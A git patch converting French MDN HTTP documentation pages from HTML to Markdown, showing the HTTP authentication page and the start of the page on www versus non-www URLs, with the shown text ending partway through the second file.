From 0fe03b92344c0f9b0d4ada2146d4480997ab2e25 Mon Sep 17 00:00:00 2001 From: julieng Date: Fri, 17 Sep 2021 20:50:13 +0200 Subject: convert content to md --- files/fr/web/http/authentication/index.md | 158 ++-- .../choosing_between_www_and_non-www_urls/index.md | 64 +- .../fr/web/http/basics_of_http/data_uris/index.md | 138 ++-- .../http/basics_of_http/evolution_of_http/index.md | 258 +++---- .../identifying_resources_on_the_web/index.md | 259 +++---- files/fr/web/http/basics_of_http/index.md | 72 +- .../mime_types/common_types/index.md | 411 ++--------- .../fr/web/http/basics_of_http/mime_types/index.md | 443 +++++------ .../web/http/basics_of_http/resource_urls/index.md | 60 +- .../index.md | 383 +++++----- files/fr/web/http/caching/index.md | 155 ++-- files/fr/web/http/compression/index.md | 66 +- files/fr/web/http/conditional_requests/index.md | 150 ++-- files/fr/web/http/content_negotiation/index.md | 148 ++-- files/fr/web/http/cookies/index.md | 222 +++--- .../corsalloworiginnotmatchingorigin/index.md | 32 +- .../http/cors/errors/corsdidnotsucceed/index.md | 20 +- .../fr/web/http/cors/errors/corsdisabled/index.md | 26 +- .../cors/errors/corsmissingalloworigin/index.md | 46 +- .../http/cors/errors/corsrequestnothttp/index.md | 30 +- files/fr/web/http/cors/errors/index.md | 86 +-- files/fr/web/http/cors/index.md | 713 +++++++++--------- files/fr/web/http/csp/index.md | 214 +++--- files/fr/web/http/feature_policy/index.md | 193 ++--- files/fr/web/http/headers/accept-charset/index.md | 94 +-- files/fr/web/http/headers/accept-encoding/index.md | 151 ++-- files/fr/web/http/headers/accept-language/index.md | 110 ++- files/fr/web/http/headers/accept/index.md | 106 ++- .../headers/access-control-allow-methods/index.md | 92 +-- .../headers/access-control-allow-origin/index.md | 94 +-- .../access-control-request-headers/index.md | 72 +- files/fr/web/http/headers/age/index.md | 76 +- files/fr/web/http/headers/allow/index.md | 68 +- files/fr/web/http/headers/authorization/index.md | 127 ++-- files/fr/web/http/headers/cache-control/index.md | 340 ++++----- files/fr/web/http/headers/connection/index.md | 57 +- .../web/http/headers/content-disposition/index.md | 194 +++-- .../fr/web/http/headers/content-encoding/index.md | 154 ++-- .../fr/web/http/headers/content-language/index.md | 133 ++-- files/fr/web/http/headers/content-length/index.md | 64 +- .../content-security-policy-report-only/index.md | 189 +++-- .../content-security-policy/base-uri/index.md | 124 ++-- .../block-all-mixed-content/index.md | 58 +- .../content-security-policy/child-src/index.md | 111 ++- .../content-security-policy/connect-src/index.md | 143 ++-- .../content-security-policy/default-src/index.md | 255 +++---- .../content-security-policy/font-src/index.md | 107 ++- .../content-security-policy/form-action/index.md | 130 ++-- .../frame-ancestors/index.md | 179 ++--- .../content-security-policy/frame-src/index.md | 104 ++- .../content-security-policy/img-src/index.md | 103 ++- .../http/headers/content-security-policy/index.md | 395 +++++----- .../content-security-policy/manifest-src/index.md | 99 ++- .../content-security-policy/media-src/index.md | 109 ++- .../content-security-policy/navigate-to/index.md | 114 ++- .../content-security-policy/object-src/index.md | 115 ++- .../content-security-policy/plugin-types/index.md | 134 ++-- .../content-security-policy/prefetch-src/index.md | 94 +-- .../content-security-policy/referrer/index.md | 62 +- .../content-security-policy/report-to/index.md | 97 +-- .../content-security-policy/report-uri/index.md | 114 ++- .../require-sri-for/index.md | 59 +- .../require-trusted-types-for/index.md | 73 +- .../content-security-policy/sandbox/index.md | 160 ++-- .../script-src-attr/index.md | 99 ++- .../script-src-elem/index.md | 101 ++- .../content-security-policy/script-src/index.md | 211 +++--- .../style-src-attr/index.md | 110 ++- .../style-src-elem/index.md | 110 ++- .../content-security-policy/style-src/index.md | 232 +++--- .../content-security-policy/trusted-types/index.md | 87 +-- .../upgrade-insecure-requests/index.md | 98 ++- .../content-security-policy/worker-src/index.md | 126 ++-- files/fr/web/http/headers/content-type/index.md | 141 ++-- files/fr/web/http/headers/date/index.md | 96 ++- files/fr/web/http/headers/dnt/index.md | 106 ++- files/fr/web/http/headers/etag/index.md | 110 ++- files/fr/web/http/headers/expires/index.md | 86 +-- .../headers/feature-policy/accelerometer/index.md | 59 +- files/fr/web/http/headers/feature-policy/index.md | 259 +++---- files/fr/web/http/headers/host/index.md | 82 +-- .../fr/web/http/headers/if-modified-since/index.md | 125 ++-- files/fr/web/http/headers/if-none-match/index.md | 104 ++- files/fr/web/http/headers/index.md | 820 ++++++++++----------- files/fr/web/http/headers/last-modified/index.md | 113 ++- files/fr/web/http/headers/location/index.md | 84 +-- files/fr/web/http/headers/origin/index.md | 89 +-- files/fr/web/http/headers/referer/index.md | 90 +-- files/fr/web/http/headers/referrer-policy/index.md | 444 ++++++----- files/fr/web/http/headers/server/index.md | 72 +- files/fr/web/http/headers/set-cookie/index.md | 323 ++++---- .../web/http/headers/set-cookie/samesite/index.md | 131 ++-- files/fr/web/http/headers/tk/index.md | 122 ++- files/fr/web/http/headers/trailer/index.md | 145 ++-- files/fr/web/http/headers/vary/index.md | 90 +-- .../fr/web/http/headers/www-authenticate/index.md | 94 +-- .../http/headers/x-content-type-options/index.md | 117 ++- files/fr/web/http/headers/x-frame-options/index.md | 168 ++--- files/fr/web/http/index.md | 112 ++- files/fr/web/http/index/index.md | 8 +- files/fr/web/http/link_prefetching_faq/index.md | 126 ++-- files/fr/web/http/methods/connect/index.md | 110 ++- files/fr/web/http/methods/delete/index.md | 124 ++-- files/fr/web/http/methods/get/index.md | 90 +-- files/fr/web/http/methods/head/index.md | 98 ++- files/fr/web/http/methods/index.md | 99 +-- files/fr/web/http/methods/options/index.md | 209 +++--- files/fr/web/http/methods/patch/index.md | 124 ++-- files/fr/web/http/methods/post/index.md | 153 ++-- files/fr/web/http/methods/put/index.md | 68 +- files/fr/web/http/methods/trace/index.md | 92 +-- files/fr/web/http/overview/index.md | 208 +++--- files/fr/web/http/public_key_pinning/index.md | 145 ++-- files/fr/web/http/redirections/index.md | 304 +++----- .../web/http/resources_and_specifications/index.md | 309 ++------ files/fr/web/http/session/index.md | 210 +++--- files/fr/web/http/status/100/index.md | 39 +- files/fr/web/http/status/101/index.md | 47 +- files/fr/web/http/status/103/index.md | 41 +- files/fr/web/http/status/200/index.md | 49 +- files/fr/web/http/status/201/index.md | 28 +- files/fr/web/http/status/202/index.md | 31 +- files/fr/web/http/status/203/index.md | 37 +- files/fr/web/http/status/204/index.md | 37 +- files/fr/web/http/status/205/index.md | 31 +- files/fr/web/http/status/206/index.md | 93 ++- files/fr/web/http/status/300/index.md | 41 +- files/fr/web/http/status/301/index.md | 39 +- files/fr/web/http/status/302/index.md | 43 +- files/fr/web/http/status/303/index.md | 35 +- files/fr/web/http/status/304/index.md | 43 +- files/fr/web/http/status/307/index.md | 44 +- files/fr/web/http/status/308/index.md | 43 +- files/fr/web/http/status/400/index.md | 25 +- files/fr/web/http/status/401/index.md | 57 +- files/fr/web/http/status/402/index.md | 44 +- files/fr/web/http/status/403/index.md | 44 +- files/fr/web/http/status/404/index.md | 53 +- files/fr/web/http/status/405/index.md | 33 +- files/fr/web/http/status/406/index.md | 43 +- files/fr/web/http/status/407/index.md | 55 +- files/fr/web/http/status/408/index.md | 37 +- files/fr/web/http/status/409/index.md | 33 +- files/fr/web/http/status/410/index.md | 43 +- files/fr/web/http/status/411/index.md | 35 +- files/fr/web/http/status/412/index.md | 41 +- files/fr/web/http/status/413/index.md | 33 +- files/fr/web/http/status/414/index.md | 41 +- files/fr/web/http/status/415/index.md | 37 +- files/fr/web/http/status/416/index.md | 43 +- files/fr/web/http/status/417/index.md | 33 +- files/fr/web/http/status/418/index.md | 35 +- files/fr/web/http/status/422/index.md | 31 +- files/fr/web/http/status/425/index.md | 31 +- files/fr/web/http/status/426/index.md | 49 +- files/fr/web/http/status/428/index.md | 39 +- files/fr/web/http/status/429/index.md | 41 +- files/fr/web/http/status/431/index.md | 33 +- files/fr/web/http/status/451/index.md | 69 +- files/fr/web/http/status/500/index.md | 33 +- files/fr/web/http/status/501/index.md | 35 +- files/fr/web/http/status/502/index.md | 37 +- files/fr/web/http/status/503/index.md | 39 +- files/fr/web/http/status/504/index.md | 37 +- files/fr/web/http/status/505/index.md | 31 +- files/fr/web/http/status/506/index.md | 29 +- files/fr/web/http/status/507/index.md | 29 +- files/fr/web/http/status/508/index.md | 29 +- files/fr/web/http/status/510/index.md | 27 +- files/fr/web/http/status/511/index.md | 35 +- files/fr/web/http/status/index.md | 334 ++++----- 171 files changed, 8441 insertions(+), 11273 deletions(-) (limited to 'files') diff --git a/files/fr/web/http/authentication/index.md b/files/fr/web/http/authentication/index.md index 005ef8ed1a..0b77f2251f 100644 --- a/files/fr/web/http/authentication/index.md +++ b/files/fr/web/http/authentication/index.md @@ -3,128 +3,128 @@ title: Authentification HTTP slug: Web/HTTP/Authentication translation_of: Web/HTTP/Authentication --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

HTTP fournit la structure permettant le contrôle d'accès ainsi que l'authentification. Le schéma d'authentification HTTP le plus courant est « l'authentification basique » (« Basic authentication » en anglais). Cette page a pour but de présenter ce schéma d'authentification, et montre comment l'utiliser pour restreindre l'accès à votre serveur.

+HTTP fournit la structure permettant le contrôle d'accès ainsi que l'authentification. Le schéma d'authentification HTTP le plus courant est « l'_authentification basique_ » (« _Basic authentication_ » en anglais). Cette page a pour but de présenter ce schéma d'authentification, et montre comment l'utiliser pour restreindre l'accès à votre serveur. -

La structure d'authentification HTTP

+## La structure d'authentification HTTP -

La RFC 7235 définit la structure d'authentification HTTP qui est utilisable par un serveur pour défier une requête d'un client, et inversement par un client pour fournir des informations d'authentification à un serveur.

+La [RFC 7235](https://tools.ietf.org/html/rfc7235) définit la structure d'authentification HTTP qui est utilisable par un serveur pour [défier](/fr/docs/Glossary/challenge) une requête d'un client, et inversement par un client pour fournir des informations d'authentification à un serveur. -

Le fonctionnement du défi/réponse se déroule ainsi :

+Le fonctionnement du défi/réponse se déroule ainsi : -
    -
  1. Le serveur répond à un client avec un statut 401 (« Unauthorized ») et fournit l'information permettant l'autorisation via un en-tête de réponse WWW-Authenticate contenant au moins un défi.
    2. -
  2. Le client désirant s'authentifier peut ensuite le faire en incluant un en-tête de requête Authorization contenant ses identifiants.
    3. -
  3. Très souvent, le client va demander à l'utilisateur un mot de passe et ensuite envoyer la requête au serveur en incluant cette information dans l'en-tête Authorization.
    4. -
+1. Le serveur répond à un client avec un statut [`401`](/fr/docs/Web/HTTP/Status/401) (« Unauthorized ») et fournit l'information permettant l'autorisation via un en-tête de réponse [`WWW-Authenticate`](/fr/docs/Web/HTTP/Headers/WWW-Authenticate) contenant au moins un défi. +2. Le client désirant s'authentifier peut ensuite le faire en incluant un en-tête de requête [`Authorization`](/fr/docs/Web/HTTP/Headers/Authorization) contenant ses identifiants. +3. Très souvent, le client va demander à l'utilisateur un mot de passe et ensuite envoyer la requête au serveur en incluant cette information dans l'en-tête `Authorization`. -

Un diagramme de séquence illustrant les messages HTTP entre un client et la ligne de vie du serveur

+![Un diagramme de séquence illustrant les messages HTTP entre un client et la ligne de vie du serveur](HTTPAuth.png) -

Dans le cadre d'une authentification basique comme montré dans l'image ci-dessus, les échanges doivent s'effectuer au travers d'une connection HTTPS (TLS) afin d'être sécurisée.

+Dans le cadre d'une authentification basique comme montré dans l'image ci-dessus, les échanges **doivent** s'effectuer au travers d'une connection HTTPS (TLS) afin d'être sécurisée. -

Authentification par procuration

+### Authentification par procuration -

Le même mécanisme de défi et réponse peut être utilisée pour l'authentification par procuration (« Proxy authentication » en anglais). Dans ce cas, c'est un système de procuration intermédiaire qui requiert l'authentification. Comme les deux authentifications (celle de la ressource et celle du système de procuration) peuvent coexister, un autre jeu d'en-têtes et de codes de réponses HTTP est nécessaire. Dans le cadre des systèmes de procuration, le code HTTP de défi est 407 (« Proxy Authentication Required »), l'en-tête de réponse Proxy-Authenticate contient au moins un défi applicable au système de procuration et l'en-tête de requête Proxy-Authorization est utilisé pour fournir les identifiants au serveur de procuration.

+Le même mécanisme de défi et réponse peut être utilisée pour _l'authentification par procuration_ (« _Proxy authentication_ » en anglais). Dans ce cas, c'est un système de procuration intermédiaire qui requiert l'authentification. Comme les deux authentifications (celle de la ressource et celle du système de procuration) peuvent coexister, un autre jeu d'en-têtes et de codes de réponses HTTP est nécessaire. Dans le cadre des systèmes de procuration, le code HTTP de défi est [`407`](/fr/docs/Web/HTTP/Status/407) (« Proxy Authentication Required »), l'en-tête de réponse [`Proxy-Authenticate`](/fr/docs/Web/HTTP/Headers/Proxy-Authenticate) contient au moins un défi applicable au système de procuration et l'en-tête de requête [`Proxy-Authorization`](/fr/docs/Web/HTTP/Headers/Proxy-Authorization) est utilisé pour fournir les identifiants au serveur de procuration. -

Accès interdit

+### Accès interdit -

Si un serveur de procuration reçoit des identifiants valides ne permettant pas d'avoir accès à une ressource donnée, le serveur doit répondre avec un code de réponse 403 (« Forbidden »). Dans ce cas, à l'inverse des codes 401 (« Unauthorized ») ou 407 (« Proxy Authentication Required »), l'authentification n'est pas possible pour cet utilisateur.

+Si un serveur de procuration reçoit des identifiants valides ne permettant pas d'avoir accès à une ressource donnée, le serveur doit répondre avec un code de réponse [`403`](/fr/docs/Web/HTTP/Status/403) (« Forbidden »). Dans ce cas, à l'inverse des codes [`401`](/fr/docs/Web/HTTP/Status/401) (« Unauthorized ») ou [`407`](/fr/docs/Web/HTTP/Status/407) (« Proxy Authentication Required »), l'authentification n'est pas possible pour cet utilisateur. -

Authentification des images multi-origines

+### Authentification des images multi-origines -

Une faille de sécurité potentielle qui a été récemment corrigée par les navigateurs est l'authentification des images multi-origines. À partir de Firefox 59 et versions ultérieures, les images chargées depuis des origines différentes du site courant ne sont plus en mesure de déclencher l'ouverture d'une fenêtre de dialogue (bug 1423146) demandant l'authentification HTTP, empêchant ainsi le vol d'identifiants utilisateurs si des personnes mal-intentionnées étaient en mesure d'embarquer une image aléatoire dans une page.

+Une faille de sécurité potentielle qui a été récemment corrigée par les navigateurs est l'authentification des images multi-origines. À partir de [Firefox 59](/fr/docs/Mozilla/Firefox/Releases/59) et versions ultérieures, les images chargées depuis des origines différentes du site courant ne sont plus en mesure de déclencher l'ouverture d'une fenêtre de dialogue ([bug 1423146](https://bugzilla.mozilla.org/show_bug.cgi?id=1423146)) demandant l'authentification HTTP, empêchant ainsi le vol d'identifiants utilisateurs si des personnes mal-intentionnées étaient en mesure d'embarquer une image aléatoire dans une page. -

Encodage de caractère de l'authentification HTTP

+### Encodage de caractère de l'authentification HTTP -

Les navigateurs utilisent l'encodage de caractère utf-8 pour les noms d'utilisateur ainsi que les mots de passe. Firefox utilisait auparavant l'encodage ISO-8859-1, mais l'a remplacé par utf-8 afin de s'aligner avec les autres navigateurs et ainsi éviter les potentiels problèmes, comme décrit dans le bug 1419658.

+Les navigateurs utilisent l'encodage de caractère `utf-8` pour les noms d'utilisateur ainsi que les mots de passe. Firefox utilisait auparavant l'encodage `ISO-8859-1`, mais l'a remplacé par `utf-8` afin de s'aligner avec les autres navigateurs et ainsi éviter les potentiels problèmes, comme décrit dans le [bug 1419658](https://bugzilla.mozilla.org/show_bug.cgi?id=1419658). -

En-têtes WWW-Authenticate et Proxy-Authenticate

+### En-têtes WWW-Authenticate et Proxy-Authenticate -

Les en-têtes de réponse WWW-Authenticate et Proxy-Authenticate définissent le schéma d'authentification devant être utilisée pour accéder à une ressource, afin que le client désirant y accéder puisse savoir comment fournir les identifiants.

+Les en-têtes de réponse [`WWW-Authenticate`](/fr/docs/Web/HTTP/Headers/WWW-Authenticate) et [`Proxy-Authenticate`](/fr/docs/Web/HTTP/Headers/Proxy-Authenticate) définissent le schéma d'authentification devant être utilisée pour accéder à une ressource, afin que le client désirant y accéder puisse savoir comment fournir les identifiants. -

La syntaxe pour ces en-têtes est la suivante :

+La syntaxe pour ces en-têtes est la suivante : -
WWW-Authenticate: <type> realm=<realm>
-Proxy-Authenticate: <type> realm=<realm>
+```html +WWW-Authenticate: realm= +Proxy-Authenticate: realm= +``` -

Ici, <type> est le schéma d'authentification (« Basic » est le plus courant des schémas, et est présenté ici). Le realm (« domaine » en français) est utilisé pour décrire la « zone » protégée, ou pour indiquer la portée de la protection. Cela pourrait être un message, par exemple « Accès au site de pré-production », pour que l'utilisateur puisse savoir à quel espace il est en train d'accéder.

+Ici, `` est le schéma d'authentification (« Basic » est le plus courant des schémas, et est présenté [ici](#basic_authentication_scheme)). Le `realm` (« _domaine_ » en français) est utilisé pour décrire la « zone » protégée, ou pour indiquer la portée de la protection. Cela pourrait être un message, par exemple « Accès au site de pré-production », pour que l'utilisateur puisse savoir à quel espace il est en train d'accéder. -

En-têtes Authorization et Proxy-Authorization

+### En-têtes Authorization et Proxy-Authorization -

Les en-têtes de requête Authorization et Proxy-Authorization contiennent les identifiants pour authentifier un client avec un serveur (de procuration). Ici, le type est encore une fois nécessaire, suivi par les identifiants, qui peuvent être encodés voire encryptés selon le schéma d'authentification utilisé.

+Les en-têtes de requête [`Authorization`](/fr/docs/Web/HTTP/Headers/Authorization) et [`Proxy-Authorization`](/fr/docs/Web/HTTP/Headers/Proxy-Authorization) contiennent les identifiants pour authentifier un client avec un serveur (de procuration). Ici, le type est encore une fois nécessaire, suivi par les identifiants, qui peuvent être encodés voire encryptés selon le schéma d'authentification utilisé. -
Authorization: <type> <credentials>
-Proxy-Authorization: <type> <credentials>
+```html +Authorization: +Proxy-Authorization: +``` -

Schéma d'authentification

+### Schéma d'authentification -

La structure d'authentification HTTP est utilisée par plusieurs schémas d'authentification. Ils diffèrent de par leur niveau de sécurité ainsi que par leur disponibilité dans les systèmes client ou serveur.

+La structure d'authentification HTTP est utilisée par plusieurs schémas d'authentification. Ils diffèrent de par leur niveau de sécurité ainsi que par leur disponibilité dans les systèmes client ou serveur. -

Le plus commun est le schéma d'authentification « Basique » (« Basic » en anglais), qui est présenté plus en détail ci-dessous. IANA maintient une liste des schémas d'authentification, mais ils y en a d'autres fournit par des services d'hébergement comme Amazon AWS. Les schémas communs sont :

+Le plus commun est le schéma d'authentification « Basique » (« Basic » en anglais), qui est présenté plus en détail ci-dessous. IANA maintient une [liste des schémas d'authentification](https://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml), mais ils y en a d'autres fournit par des services d'hébergement comme Amazon AWS. Les schémas communs sont : -
-
Basic
-
Voir RFC 7617, identifiants encodés en base64. Voir ci-dessous pour plus de détails.
-
Bearer
-
Voir RFC 6750, jetons bearer (« porteur » en français) pour accéder à des ressources protégées par OAuth 2.0.
-
Digest
-
Voir RFC 7616, Firefox n'est compatible qu'avec le chiffrement md5, voir bug 472823 pour la compatibilité avec le chiffrement SHA.
-
HOBA
-
Voir RFC 7486, HTTP Origin-Bound Authentication, basé sur une signature digitale.
-
Mutual
-
Voir draft-ietf-httpauth-mutual.
-
AWS4-HMAC-SHA256
-
Voir la Documentation AWS.
-
+- Basic + - : Voir [RFC 7617](https://tools.ietf.org/html/rfc7617), identifiants encodés en base64. Voir ci-dessous pour plus de détails. +- Bearer + - : Voir [RFC 6750](https://tools.ietf.org/html/rfc6750), jetons _bearer_ (« porteur » en français) pour accéder à des ressources protégées par OAuth 2.0. +- Digest + - : Voir [RFC 7616](https://tools.ietf.org/html/rfc7616), Firefox n'est compatible qu'avec le chiffrement md5, voir [bug 472823](https://bugzilla.mozilla.org/show_bug.cgi?id=472823) pour la compatibilité avec le chiffrement SHA. +- HOBA + - : Voir [RFC 7486](https://tools.ietf.org/html/rfc7486), **H**TTP **O**rigin-**B**ound **A**uthentication, basé sur une signature digitale. +- Mutual + - : Voir [draft-ietf-httpauth-mutual](https://tools.ietf.org/html/draft-ietf-httpauth-mutual-11). +- AWS4-HMAC-SHA256 + - : Voir la [Documentation AWS](https://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-auth-using-authorization-header.html). -

Schéma d'authentification basique

+## Schéma d'authentification basique -

Le schéma d'authentification « basique » est défini dans la RFC 7617, et transmet les identifiants via des ensembles ID_utilisateur/mot_de_passe, encodés avec base64.

+Le schéma d'authentification « basique » est défini dans la [RFC 7617](https://tools.ietf.org/html/rfc7617), et transmet les identifiants via des ensembles ID_utilisateur/mot_de_passe, encodés avec base64. -

Sécurité de l'authentification basique

+### Sécurité de l'authentification basique -

Étant donné que l'ID utilisateur et le mot de passe transitent sur le réseau en clair (base64 étant un encodage réversible), le schéma d'authentification basique n'est pas sécurisé. C'est pourquoi HTTPS / TLS doivent être utilisés avec ce type d'authentification. Sans cela, ce schéma ne doit pas être utilisé pour protéger des informations sensibles.

+Étant donné que l'ID utilisateur et le mot de passe transitent sur le réseau en clair (base64 étant un encodage réversible), le schéma d'authentification basique n'est pas sécurisé. C'est pourquoi HTTPS / TLS doivent être utilisés avec ce type d'authentification. Sans cela, ce schéma **ne doit pas** être utilisé pour protéger des informations sensibles. -

Restreindre l'accès avec Apache et l'authentification basique

+### Restreindre l'accès avec Apache et l'authentification basique -

Pour protéger avec un mot de passe un répertoire sur un serveur Apache, vous aurez besoin d'utiliser un ou plusieurs fichiers .htaccess et .htpasswd.

+Pour protéger avec un mot de passe un répertoire sur un serveur Apache, vous aurez besoin d'utiliser un ou plusieurs fichiers `.htaccess` et `.htpasswd`. -

Le fichier .htaccess ressemble à ceci :

+Le fichier `.htaccess` ressemble à ceci : -
AuthType Basic
-AuthName "Accès au site de pré-production"
-AuthUserFile /chemin/vers/.htpasswd
-Require valid-user
+ AuthType Basic + AuthName "Accès au site de pré-production" + AuthUserFile /chemin/vers/.htpasswd + Require valid-user -

Le fichier .htaccess fait référence à un fichier .htpasswd dans lequel chaque ligne contient un nom d'utilisateur et un mot de passe séparés par deux-points (« : »). Vous ne pouvez pas déchiffrer les mots de passe à l'intérieur, car ils sont chiffrées (en md5 en l'occurrence). Vous pouvez tout à fait nommer votre fichier .htpasswd différemment si vous le désirez, mais gardez en tête que ce fichier ne doit pas être accessible à quiconque (Apache est normalement configuré pour empêcher l'accès aux fichiers .ht*).

+Le fichier `.htaccess` fait référence à un fichier `.htpasswd` dans lequel chaque ligne contient un nom d'utilisateur et un mot de passe séparés par deux-points (« : »). Vous ne pouvez pas déchiffrer les mots de passe à l'intérieur, car ils sont [chiffrées](https://httpd.apache.org/docs/2.4/misc/password_encryptions.html) (en md5 en l'occurrence). Vous pouvez tout à fait nommer votre fichier `.htpasswd` différemment si vous le désirez, mais gardez en tête que ce fichier ne doit pas être accessible à quiconque (Apache est normalement configuré pour empêcher l'accès aux fichiers `.ht*`). -
aladdin:$apr1$ZjTqBB3f$IF9gdYAGlMrs2fuINjHsz.
-user2:$apr1$O04r.y2H$/vEkesPhVInBByJUkXitA/
+ aladdin:$apr1$ZjTqBB3f$IF9gdYAGlMrs2fuINjHsz. + user2:$apr1$O04r.y2H$/vEkesPhVInBByJUkXitA/ -

Restreindre l'accès avec nginx et l'authentification basique

+### Restreindre l'accès avec nginx et l'authentification basique -

Pour nginx, vous aurez besoin de spécifier une zone ou emplacement (location en anglais) à protéger, ainsi que la directive auth_basic définissant le nom de cette zone. La directive auth_basic_user_file fait référence à un fichier .htpasswd contenant les identifiants utilisateurs encryptés, exactement comme dans l'exemple avec Apache ci-dessus.

+Pour nginx, vous aurez besoin de spécifier une zone ou emplacement (_location_ en anglais) à protéger, ainsi que la directive `auth_basic` définissant le nom de cette zone. La directive `auth_basic_user_file` fait référence à un fichier .htpasswd contenant les identifiants utilisateurs encryptés, exactement comme dans l'exemple avec Apache ci-dessus. -
location /status {
-  auth_basic           "Access to the staging site";
-  auth_basic_user_file /etc/apache2/.htpasswd;
-}
+ location /status { + auth_basic "Access to the staging site"; + auth_basic_user_file /etc/apache2/.htpasswd; + } -

Accès avec identifiants dans l'URL

+### Accès avec identifiants dans l'URL -

Beaucoup de clients permettent d'éviter la fenêtre de dialogue demandant les identifiants en utilisant une URL contenant le nom d'utilisateur ainsi que le mot de passe comme suit :

+Beaucoup de clients permettent d'éviter la fenêtre de dialogue demandant les identifiants en utilisant une URL contenant le nom d'utilisateur ainsi que le mot de passe comme suit : -
https://utilisateur:password@www.example.com/
+```plain example-bad +https://utilisateur:password@www.example.com/ +``` -

L'utilisation de ces URLs est dépréciée. Dans Chrome, la partie username:password@ dans les URLs est même retirée pour des raisons de sécurité. Dans Firefox, le site est testé afin de savoir s'il requiert ou non l'authentification et si ce n'est pas le cas, Firefox va avertir l'utilisateur avec une fenêtre de dialogue « Vous êtes sur le point de vous connecter au site "www.example.com" avec le nom d'utilisateur "username", mais le site ne requiert pas d'authentification. Ceci pourrait être une tentative pour vous piéger. »

+**L'utilisation de ces URLs est dépréciée**. Dans Chrome, la partie `username:password@` dans les URLs est même [retirée pour des raisons de sécurité](https://bugs.chromium.org/p/chromium/issues/detail?id=82250#c7). Dans Firefox, le site est testé afin de savoir s'il requiert ou non l'authentification et si ce n'est pas le cas, Firefox va avertir l'utilisateur avec une fenêtre de dialogue « Vous êtes sur le point de vous connecter au site "www\.example.com" avec le nom d'utilisateur "username", mais le site ne requiert pas d'authentification. Ceci pourrait être une tentative pour vous piéger. » -

Voir aussi

+## Voir aussi - +- L'entête [`WWW-Authenticate`](/fr/docs/Web/HTTP/Headers/WWW-Authenticate) +- L'entête [`Authorization`](/fr/docs/Web/HTTP/Headers/Authorization) +- L'entête [`Proxy-Authorization`](/fr/docs/Web/HTTP/Headers/Proxy-Authorization) +- L'entête [`Proxy-Authenticate`](/fr/docs/Web/HTTP/Headers/Proxy-Authenticate) +- Les codes de statut : [`401`](/fr/docs/Web/HTTP/Status/401), [`403`](/fr/docs/Web/HTTP/Status/403) et [`407`](/fr/docs/Web/HTTP/Status/407) diff --git a/files/fr/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.md b/files/fr/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.md index 0775a812bb..82cc8f2144 100644 --- a/files/fr/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.md +++ b/files/fr/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.md @@ -8,63 +8,57 @@ tags: translation_of: Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs original_slug: Web/HTTP/Basics_of_HTTP/Choisir_entre_les_URLs_www_sans_www --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

Une question récurrente chez les propriétaires de sites web est de choisir entre utiliser des URLs qui débutent ou non par www. Cette page fournit quelques conseils sur la meilleure approche à envisager.

+Une question récurrente chez les propriétaires de sites web est de choisir entre utiliser des URLs qui débutent ou non par www. Cette page fournit quelques conseils sur la meilleure approche à envisager. -

Que sont les noms de domaines ?

+## Que sont les noms de domaines ? -

Dans une URL HTTP, la première chaîne qui suit le schéma http:// ou https:// est appelé le nom de domaine. C'est le nom du site où le document est hébergé, ce site étant lui-même hébergé sur un serveur.

+Dans une URL HTTP, la première chaîne qui suit le schéma `http://` ou `https://` est appelé le nom de domaine. C'est le nom du site où le document est hébergé, ce site étant lui-même hébergé sur un serveur. -

Un serveur n'est pas nécessairement une machine physique : plusieurs serveurs peuvent cohabiter au sein d'une seule machine physique. Un serveur peut tout aussi bien être supporté par plusieurs machines, qui permettent de restituer l'ensemble de la réponse ou de pouvoir équilibrer la charge des requêtes entre elles. Le point clé est que, sémantiquement, un nom de domaine représente un seul serveur.

+Un serveur n'est pas nécessairement une machine physique : plusieurs serveurs peuvent cohabiter au sein d'une seule machine physique. Un serveur peut tout aussi bien être supporté par plusieurs machines, qui permettent de restituer l'ensemble de la réponse ou de pouvoir équilibrer la charge des requêtes entre elles. Le point clé est que, sémantiquement, _un nom de domaine représente un seul serveur_. -

Donc je dois choisir l'un ou l'autre pour mon site web ?

+## Donc je dois choisir l'un ou l'autre pour mon site web ? -
    -
  • Oui, car vous avez besoin de faire une sélection et de vous y tenir. Vous être libre de choisir l'un ou l'autre pour déterminer votre domaine canonique mais une fois que vous avez effectué votre choix, vous devez le respecter. Votre site web gardera ainsi une structure consistante pour vos utilisateurs ainsi que les moteurs de recherche. Cela inclut la manière dont vous exposez des liens vers votre site, que ce soit au sein du site (auquel cas l'utilisation d'adresses relatives devrait simplifier le problème), ou bien lorsque vous partagez l'information à l'extérieur (courriel, réseaux sociaux, ...).
    • -
  • Non, vous pouvez utiliser les deux à la fois. La seule chose importante est de rester cohérent au niveau du nom de domaine que vous utilisez de manière officielle. Ce domaine est appelé le nom de domaine canonique. L'ensemble de vos liens absolus doivent y référer. Vous pouvez, dans le même temps, bénéficier du second domaine. HTTP et HTML supportent deux techniques qui permettent à vos utilisateurs et aux moteurs de recherche de savoir simplement lequel des deux domaines constitue le domaine canonique, bien que l'autre domaine soit actif et serve des pages web.
    • -
+- Oui, car vous avez besoin de faire une sélection et de vous y tenir. Vous être libre de choisir l'un ou l'autre pour déterminer votre domaine canonique mais une fois que vous avez effectué votre choix, vous devez le respecter. Votre site web gardera ainsi une structure consistante pour vos utilisateurs ainsi que les moteurs de recherche. Cela inclut la manière dont vous exposez des liens vers votre site, que ce soit au sein du site (auquel cas l'utilisation d'adresses relatives devrait simplifier le problème), ou bien lorsque vous partagez l'information à l'extérieur (courriel, réseaux sociaux, ...). +- Non, vous pouvez utiliser les deux à la fois. La seule chose importante est de rester cohérent au niveau du nom de domaine que vous utilisez de manière officielle. **Ce domaine est appelé le nom de domaine _canonique_.** L'ensemble de vos liens absolus doivent y référer. Vous pouvez, dans le même temps, bénéficier du second domaine. HTTP et HTML supportent deux techniques qui permettent à vos utilisateurs et aux moteurs de recherche de savoir simplement lequel des deux domaines constitue le domaine canonique, bien que l'autre domaine soit actif et serve des pages web. -

Ainsi, choisissez un de vos domaines comme domaine canonique. Les deux techniques ci-dessous permettent de maintenir le domaine non-canonique en état de marche.

+Ainsi, choisissez un de vos domaines comme domaine canonique. Les deux techniques ci-dessous permettent de maintenir le domaine non-canonique en état de marche. -

Techniques pour les URLs canoniques

